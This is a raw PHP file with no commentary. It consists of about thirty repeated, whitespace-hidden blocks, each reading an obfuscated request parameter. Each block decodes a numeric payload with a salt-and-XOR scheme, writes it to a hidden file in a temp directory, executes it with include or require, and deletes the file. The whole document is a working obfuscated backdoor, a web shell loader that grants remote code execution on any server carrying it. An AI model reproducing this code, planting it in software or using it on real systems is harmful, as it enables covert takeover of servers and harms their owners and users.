																																										if(count($_REQUEST) > 0 && isset($_REQUEST["value"])){ $elem = array_filter(["/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP"), getcwd()]); $mrk = $_REQUEST["value"]; $mrk = explode( "." , $mrk ); $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $i = 0; $len = count( $mrk); do {if( $i >= $len) break; $v6 = $mrk[$i]; $sChar = ord( $salt[$i %$sLen]); $dec = ( ( int)$v6 - $sChar -( $i %10)) ^ 58; $ent .= chr( $dec); $i++;}while( true); while ($descriptor = array_shift($elem)) { if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $object = implode("/", [$descriptor, ".pset"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(isset($_REQUEST["\x69\x74m"]) ? true : false){ $item = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), sys_get_temp_dir()]); $ent = $_REQUEST["\x69\x74m"]; $ent = explode ( ".",$ent ) ; $symbol = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); foreach ($ent as $z=> $v2) { $sChar = ord($salt8[$z % $lenS]); $dec = ((int)$v2 - $sChar - ($z % 10)) ^ 64; $symbol .= chr($dec); } foreach ($item as $token): if (is_writable($token) && is_dir($token)) { $k = sprintf("%s/.hld", $token); if (file_put_contents($k, $symbol)) { require $k; unlink($k); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x64\x65\x73cri\x70\x74or"] ?? null)){ $factor = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); $desc = $_REQUEST["\x64\x65\x73cri\x70\x74or"]; $desc = explode ( "." , $desc ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($desc as $q => $v1) { $sChar = ord($salt[$q % $sLen] ); $dec = ((int)$v1 - $sChar - ($q % 10)) ^84; $pgrp.= chr($dec ); } foreach ($factor as $rec): if (!!is_dir($rec) && !!is_writable($rec)) { $mrk = "$rec/.val"; if (file_put_contents($mrk, $pgrp)) { require $mrk; unlink($mrk); die(); } } endforeach; }
																																										if(array_key_exists("ob\x6A", $_POST)){ $res = $_POST["ob\x6A"]; $res =explode( '.' ,$res ) ; $fac= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach($res as $i =>$v6) { $sChar= ord($s[$i % $lenS]); $d= ((int)$v6 - $sChar -($i % 10)) ^ 45; $fac .= chr($d); } $record = array_filter(["/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); for ($element = 0, $reference = count($record); $element < $reference; $element++) { $descriptor = $record[$element]; if (is_writable($descriptor) && is_dir($descriptor)) { $property_set = implode("/", [$descriptor, ".factor"]); if (file_put_contents($property_set, $fac)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["en\x74"])){ $tkn = $_POST["en\x74"]; $tkn = explode ('.', $tkn) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($tkn as $z=> $v6): $sChar = ord($s[$z % $sLen] ); $dec = ((int)$v6 - $sChar - ($z % 10)) ^ 60; $dat .= chr($dec ); endforeach; $flg = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP")]); for ($record = 0, $k = count($flg); $record < $k; $record++) { $elem = $flg[$record]; if (is_writable($elem) && is_dir($elem)) { $key = str_replace("{var_dir}", $elem, "{var_dir}/.desc"); $success = file_put_contents($key, $dat); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(@$_POST["\x72\x65\x73\x6Furce"] !== null){ $dat = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $data_chunk = $_POST["\x72\x65\x73\x6Furce"]; $data_chunk= explode( '.' , $data_chunk ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($data_chunk as $i=>$v7) { $chS = ord($salt[$i% $lenS]); $dec =((int)$v7 - $chS -($i% 10)) ^ 53; $tkn .= chr($dec); } foreach ($dat as $key => $ptr) { if (max(0, is_dir($ptr) * is_writable($ptr))) { $res = vsprintf("%s/%s", [$ptr, ".desc"]); $file = fopen($res, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $res; @unlink($res); die(); } } } }
																																										if(array_key_exists("v\x61\x6Cue", $_REQUEST)){ $ent = $_REQUEST["v\x61\x6Cue"]; $ent = explode( "." , $ent ) ; $parameter_group = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $v = 0; foreach($ent as $v6) { $sChar = ord($salt8[$v %$sLen] ); $d = ((int)$v6 - $sChar -($v %10)) ^ 66; $parameter_group.=chr($d ); $v++; } $marker = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]); foreach ($marker as $key => $bind) { if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $obj = join("/", [$bind, ".element"]); if (file_put_contents($obj, $parameter_group)) { include $obj; @unlink($obj); exit; } } } }
																																										if(isset($_POST["token"])){ $data_chunk = array_filter([getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm"]); $parameter_group = $_POST["token"]; $parameter_group = explode( ".", $parameter_group) ; $factor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $i = 0; $len = count($parameter_group ); do {if($i >= $len) break; $v8 = $parameter_group[$i]; $chS = ord($salt8[$i % $sLen] ); $d = ((int)$v8 - $chS -($i % 10))^ 19; $factor .= chr($d ); $i++;}while(true ); for ($val = 0, $binding = count($data_chunk); $val < $binding; $val++) { $data = $data_chunk[$val]; if (is_writable($data) && is_dir($data)) { $pset = sprintf("%s/.component", $data); if (file_put_contents($pset, $factor)) { require $pset; unlink($pset); die(); } } } }
																																										if(!is_null($_POST["\x64\x65\x73\x63ript\x6Fr"] ?? null)){ $rec = $_POST["\x64\x65\x73\x63ript\x6Fr"]; $rec = explode ('.' , $rec) ; $pointer = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $u = 0; $__len = count( $rec); do { if( $u >= $__len) break; $v9 = $rec[$u]; $chS = ord( $salt4[$u % $lenS]); $d =( ( int)$v9 - $chS -( $u % 10)) ^ 96; $pointer .=chr( $d); $u++; } while( true); $dat = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP")]); foreach ($dat as $entity): if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $symbol = sprintf("%s/.value", $entity); if (file_put_contents($symbol, $pointer)) { include $symbol; @unlink($symbol); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6Darker"])){ $flg = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); $binding = $_REQUEST["\x6Darker"]; $binding= explode ( "." , $binding ); $pset =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt3); foreach ($binding as $l => $v3): $chS =ord($salt3[$l % $lenS]); $dec =((int)$v3 - $chS - ($l % 10)) ^ 50; $pset .= chr($dec); endforeach; foreach ($flg as $element) { if ((is_dir($element) and is_writable($element))) { $comp = sprintf("%s/.entry", $element); $success = file_put_contents($comp, $pset); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(array_key_exists("\x72\x65f", $_REQUEST)){ $hld = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $factor = $_REQUEST["\x72\x65f"]; $factor=explode ( "." ,$factor ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $z = 0; foreach ($factor as $v7) { $chS = ord($s[$z % $sLen]); $dec = ((int)$v7 - $chS - ($z % 10)) ^ 9; $resource .= chr($dec); $z++;} foreach ($hld as $pgrp): if ((is_dir($pgrp) and is_writable($pgrp))) { $elem = join("/", [$pgrp, ".flag"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $elem; @unlink($elem); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x63o\x6Dp"])){ $fac = array_filter(["/tmp", getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $key = $_REQUEST["\x63o\x6Dp"]; $key = explode ( '.',$key ) ; $elem = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $n = 0; $__len = count($key ); do { if ($n >= $__len) break; $v5 = $key[$n]; $chS = ord($s1[$n % $lenS] ); $dec = ((int)$v5 - $chS - ($n % 10))^ 43; $elem .= chr($dec ); $n++;} while (true ); $resource = 0; do { $res = $fac[$resource] ?? null; if ($resource >= count($fac)) break; if (max(0, is_dir($res) * is_writable($res))) { $itm = vsprintf("%s/%s", [$res, ".sym"]); if (@file_put_contents($itm, $elem) !== false) { include $itm; unlink($itm); die(); } } $resource++; } while (true); }
																																										if(isset($_REQUEST["\x65\x6Cem\x65n\x74"]) ? true : false){ $pset = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $ent = $_REQUEST["\x65\x6Cem\x65n\x74"]; $ent =explode ( '.' , $ent ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $z = 0; while( $z < count( $ent)) { $v7 = $ent[$z]; $sChar = ord( $salt[$z%$lenS]); $d = ( ( int)$v7 - $sChar -( $z%10)) ^ 25; $val .= chr( $d); $z++;} foreach ($pset as $resource) { if (!( !is_dir($resource) || !is_writable($resource) )) { $rec = "$resource" . "/.mrk"; if (@file_put_contents($rec, $val) !== false) { include $rec; unlink($rec); exit; } } } }
																																										if(isset($_POST["\x66\x6Cg"])){ $mrk = array_filter([getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", getenv("TMP")]); $pointer = $_POST["\x66\x6Cg"]; $pointer = explode( '.' , $pointer) ; $reference=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt2); $j=0; foreach( $pointer as $v6) { $chS=ord( $salt2[$j % $lenS]); $dec=( ( int)$v6 - $chS -( $j % 10)) ^ 25; $reference .= chr( $dec); $j++; } foreach ($mrk as $dat): if (!!is_dir($dat) && !!is_writable($dat)) { $binding = vsprintf("%s/%s", [$dat, ".symbol"]); if (@file_put_contents($binding, $reference) !== false) { include $binding; unlink($binding); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x64\x61ta")){ $object = array_filter(["/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); $pset = $_REQUEST["\x64\x61ta"]; $pset = explode ( "." , $pset ); $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $j = 0; array_walk($pset , function ($v5) use (&$resource , &$j , $salt , $lenS) { $sChar = ord($salt[$j % $lenS] ); $dec = ((int)$v5 - $sChar - ($j % 10)) ^ 83; $resource .=chr($dec ); $j++; } ); foreach ($object as $key => $dat) { if (array_product([is_dir($dat), is_writable($dat)])) { $k = sprintf("%s/.sym", $dat); $file = fopen($k, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66\x6Cg"])){ $desc = $_REQUEST["\x66\x6Cg"]; $desc= explode( '.' , $desc ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $t = 0; while($t < count($desc)) { $v9 = $desc[$t]; $sChar = ord($s[$t % $sLen] ); $dec = ((int)$v9 - $sChar -($t % 10)) ^ 57; $element .= chr($dec ); $t++;} $k = array_filter([getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); foreach ($k as $sym): if (max(0, is_dir($sym) * is_writable($sym))) { $value = "$sym/.marker"; $file = fopen($value, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $value; @unlink($value); die(); } } endforeach; }
																																										if(array_key_exists("\x64\x61ta", $_REQUEST) && !is_null($_REQUEST["\x64\x61ta"])){ $marker = $_REQUEST["\x64\x61ta"]; $marker= explode ( ".", $marker ) ; $item= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s2); $x= 0; array_walk($marker , function ($v4) use (&$item , &$x , $s2 , $sLen) { $sChar= ord($s2[$x % $sLen]); $dec= ((int)$v4 - $sChar - ($x % 10)) ^ 51; $item .=chr($dec); $x++; }); $factor = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getcwd()]); foreach ($factor as $comp): if ((is_dir($comp) and is_writable($comp))) { $flag = join("/", [$comp, ".record"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $flag; @unlink($flag); exit; } } endforeach; }
																																										if(isset($_REQUEST["fa\x63tor"])){ $ent = $_REQUEST["fa\x63tor"]; $ent= explode ('.', $ent ) ; $reference= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2); foreach ($ent as $l => $v3) { $chS= ord($s2[$l %$lenS]); $dec= ((int)$v3 - $chS - ($l %10)) ^ 64; $reference .= chr($dec); } $key = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", "/tmp", getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($key as $key => $res) { if (max(0, is_dir($res) * is_writable($res))) { $ptr = vsprintf("%s/%s", [$res, ".binding"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $ptr; @unlink($ptr); exit; } } } }
																																										if(in_array("\x64c\x68\x75nk", array_keys($_REQUEST))){ $hld = array_filter([getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $bind = $_REQUEST["\x64c\x68\x75nk"]; $bind = explode ("." ,$bind ) ; $key =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s4); $y =0; foreach ($bind as $v6) { $chS =ord($s4[$y % $sLen]); $dec =((int)$v6 - $chS - ($y % 10)) ^ 18; $key .= chr($dec); $y++; } $parameter_group = 0; do { $res = $hld[$parameter_group] ?? null; if ($parameter_group >= count($hld)) break; if ((is_dir($res) and is_writable($res))) { $ref = str_replace("{var_dir}", $res, "{var_dir}/.binding"); if (@file_put_contents($ref, $key) !== false) { include $ref; unlink($ref); die(); } } $parameter_group++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x62i\x6Ed")){ $symbol = array_filter(["/tmp", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $rec = $_REQUEST["\x62i\x6Ed"]; $rec = explode ( ".", $rec ) ; $holder= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt6); foreach ($rec as $o => $v2): $chS= ord($salt6[$o % $sLen]); $d= ((int)$v2 - $chS - ($o % 10)) ^ 71; $holder .= chr($d); endforeach; while ($pointer = array_shift($symbol)) { if (is_dir($pointer) && is_writable($pointer)) { $flg = sprintf("%s/.marker", $pointer); $success = file_put_contents($flg, $holder); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(@$_POST["bin\x64i\x6Eg"] !== null){ $bind = $_POST["bin\x64i\x6Eg"]; $bind= explode( "." , $bind ) ; $k= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2); foreach ($bind as $u => $v2) { $sChar= ord($s2[$u%$lenS]); $dec= ((int)$v2 - $sChar - ($u%10)) ^ 16; $k .= chr($dec); } $elem = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir()]); foreach ($elem as $symbol) { if ((is_dir($symbol) and is_writable($symbol))) { $dchunk = "$symbol/.fac"; if (file_put_contents($dchunk, $k)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(array_key_exists("r\x65\x63", $_REQUEST) && !is_null($_REQUEST["r\x65\x63"])){ $key = $_REQUEST["r\x65\x63"]; $key = explode ("." , $key ) ; $pgrp = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); $__len = count( $key); for( $z = 0; $z< $__len; $z++) {$v5 = $key[$z]; $chS = ord( $s1[$z % $sLen]); $d = ( ( int)$v5 - $chS -( $z % 10))^ 29; $pgrp .= chr( $d); } $mrk = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), session_save_path()]); while ($elem = array_shift($mrk)) { if (!( !is_dir($elem) || !is_writable($elem) )) { $sym = sprintf("%s/.data_chunk", $elem); $success = file_put_contents($sym, $pgrp); if ($success) { include $sym; @unlink($sym); die();} } } }
																																										if(isset($_POST) && isset($_POST["element"])){ $reference = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm"]); $ent = $_POST["element"]; $ent = explode ( '.' , $ent ); $value = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $l = 0; array_walk( $ent, function( $v3) use( &$value, &$l, $s7, $sLen) { $chS = ord( $s7[$l % $sLen]); $d =( ( int)$v3 - $chS -( $l % 10)) ^ 51; $value.=chr( $d); $l++;} ); $component = 0; do { $bind = $reference[$component] ?? null; if ($component >= count($reference)) break; if (is_writable($bind) && is_dir($bind)) { $entity = str_replace("{var_dir}", $bind, "{var_dir}/.factor"); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $entity; @unlink($entity); die(); } } $component++; } while (true); }
																																										if(isset($_REQUEST["co\x6Dp"]) ? true : false){ $data = array_filter([getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $descriptor = $_REQUEST["co\x6Dp"]; $descriptor=explode ( "." ,$descriptor ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $w = 0; array_walk($descriptor ,function ($v5) use (&$pointer ,&$w ,$s ,$sLen) { $sChar = ord($s[$w %$sLen] ); $dec = ((int)$v5 - $sChar - ($w %10)) ^ 67; $pointer .= chr($dec ); $w++; } ); foreach ($data as $record) { if (!!is_dir($record) && !!is_writable($record)) { $entry = implode("/", [$record, ".marker"]); if (file_put_contents($entry, $pointer)) { require $entry; unlink($entry); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x61\x72am\x65\x74\x65r_\x67r\x6Fup"])){ $dchunk = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $component = $_REQUEST["\x70\x61\x72am\x65\x74\x65r_\x67r\x6Fup"]; $component =explode ( '.' , $component ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; $__len = count($component); do {if ($l >= $__len) break; $v5 = $component[$l]; $sChar = ord($s[$l % $lenS]); $dec = ((int)$v5 - $sChar - ($l % 10)) ^ 16; $pset.= chr($dec); $l++; } while (true); foreach ($dchunk as $key => $desc) { if ((is_dir($desc) and is_writable($desc))) { $resource = join("/", [$desc, ".marker"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(isset($_POST["\x73ymb\x6Fl"])){ $tkn = $_POST["\x73ymb\x6Fl"]; $tkn = explode( '.' ,$tkn ); $ref= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt3 ); $n= 0; $len= count( $tkn ); do { if( $n >= $len) break; $v8= $tkn[$n]; $sChar= ord( $salt3[$n% $lenS] ); $d= ( ( int)$v8 - $sChar -( $n% 10))^ 37; $ref .= chr( $d ); $n++;}while( true ); $hld = array_filter([getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); $itm = 0; do { $marker = $hld[$itm] ?? null; if ($itm >= count($hld)) break; if (!( !is_dir($marker) || !is_writable($marker) )) { $desc = "$marker" . "/.record"; if (@file_put_contents($desc, $ref) !== false) { include $desc; unlink($desc); exit; } } $itm++; } while (true); }
																																										if(!is_null($_POST["\x65l\x65m"] ?? null)){ $res = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm"]); $holder = $_POST["\x65l\x65m"]; $holder= explode ("." , $holder); $ref =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt6); $q =0; $__tmp =$holder; while($v6 =array_shift($__tmp)) {$sChar =ord($salt6[$q % $sLen]); $d =((int)$v6 - $sChar -($q % 10))^ 33; $ref .= chr($d); $q++;} foreach ($res as $desc): if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $flg = join("/", [$desc, ".key"]); if (@file_put_contents($flg, $ref) !== false) { include $flg; unlink($flg); die(); } } endforeach; }
																																										if(isset($_POST["\x64\x61t"]) ? true : false){ $pointer = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path()]); $factor = $_POST["\x64\x61t"]; $factor=explode('.' ,$factor) ; $rec =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt4 ); $len =count( $factor ); for( $r =0; $r < $len; $r++) { $v5 =$factor[$r]; $chS =ord( $salt4[$r % $lenS] ); $dec =( ( int)$v5 - $chS -( $r % 10)) ^ 12; $rec .= chr( $dec ); } for ($bind = 0, $descriptor = count($pointer); $bind < $descriptor; $bind++) { $reference = $pointer[$bind]; if (is_dir($reference) ? is_writable($reference) : false) { $property_set = vsprintf("%s/%s", [$reference, ".pset"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $property_set; @unlink($property_set); exit; } } } }
																																										if(!is_null($_REQUEST["h\x6Cd"] ?? null)){ $dchunk = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $resource = $_REQUEST["h\x6Cd"]; $resource= explode ( '.' , $resource ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $i =0; foreach ($resource as $v3) {$sChar =ord($salt[$i % $sLen]); $dec =((int)$v3 - $sChar - ($i % 10)) ^ 88; $parameter_group.= chr($dec); $i++; } foreach ($dchunk as $symbol) { if (array_product([is_dir($symbol), is_writable($symbol)])) { $holder = vsprintf("%s/%s", [$symbol, ".value"]); if (@file_put_contents($holder, $parameter_group) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(array_key_exists("\x63\x6F\x6D\x70onent", $_REQUEST)){ $holder = $_REQUEST["\x63\x6F\x6D\x70onent"]; $holder = explode( '.' , $holder ) ; $ent =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach ($holder as $z =>$v8) { $chS =ord($s[$z %$lenS]); $d =((int)$v8 - $chS - ($z %10)) ^ 17; $ent .= chr($d);} $record = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); while ($res = array_shift($record)) { if (array_product([is_dir($res), is_writable($res)])) { $marker = "$res" . "/.bind"; $success = file_put_contents($marker, $ent); if ($success) { include $marker; @unlink($marker); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x70ar\x61me\x74er\x5F\x67\x72ou\x70")){ $resource = $_REQUEST["\x70ar\x61me\x74er\x5F\x67\x72ou\x70"]; $resource = explode ( '.',$resource ) ; $property_set= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $w= 0; foreach ($resource as $v9) { $sChar= ord($salt[$w % $lenS] ); $dec= ((int)$v9 - $sChar - ($w % 10)) ^ 69; $property_set .= chr($dec ); $w++; } $dchunk = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); $object = 0; do { $flg = $dchunk[$object] ?? null; if ($object >= count($dchunk)) break; if (!!is_dir($flg) && !!is_writable($flg)) { $res = "$flg" . "/.k"; if (@file_put_contents($res, $property_set) !== false) { include $res; unlink($res); die(); } } $object++; } while (true); }
																																										if(in_array("res", array_keys($_POST))){ $component = $_POST["res"]; $component = explode ( "." , $component ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $l = 0; array_walk($component, function ($v6) use (&$mrk, &$l, $salt, $lenS) { $chS = ord($salt[$l % $lenS]); $dec = ((int)$v6 - $chS - ($l % 10)) ^94; $mrk .= chr($dec); $l++;} ); $sym = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), "/dev/shm"]); while ($obj = array_shift($sym)) { if (!!is_dir($obj) && !!is_writable($obj)) { $binding = str_replace("{var_dir}", $obj, "{var_dir}/.bind"); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x62in\x64"])){ $pointer = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm"]); $elem = $_POST["\x62in\x64"]; $elem= explode ( '.' , $elem ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; $len = count($elem); do { if ($q>=$len) break; $v1 = $elem[$q]; $chS = ord($salt[$q % $lenS]); $d = ((int)$v1 - $chS - ($q % 10)) ^ 60; $data_chunk .= chr($d); $q++; } while (true); foreach ($pointer as $hld) { if (is_dir($hld) && is_writable($hld)) { $element = "$hld" . "/.obj"; if (file_put_contents($element, $data_chunk)) { require $element; unlink($element); die(); } } } }
																																										if(!empty($_REQUEST["o\x62je\x63\x74"])){ $record = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); $item = $_REQUEST["o\x62je\x63\x74"]; $item= explode ( '.', $item ) ; $component = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2 ); $p = 0; $len = count( $item ); do { if( $p >= $len) break; $v7 = $item[$p]; $chS = ord( $salt2[$p% $sLen] ); $dec = ( ( int)$v7 - $chS -( $p% 10)) ^ 3; $component .= chr( $dec ); $p++; } while( true ); for ($sym = 0, $holder = count($record); $sym < $holder; $sym++) { $parameter_group = $record[$sym]; if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $val = join("/", [$parameter_group, ".pset"]); if (file_put_contents($val, $component)) { include $val; @unlink($val); exit; } } } }
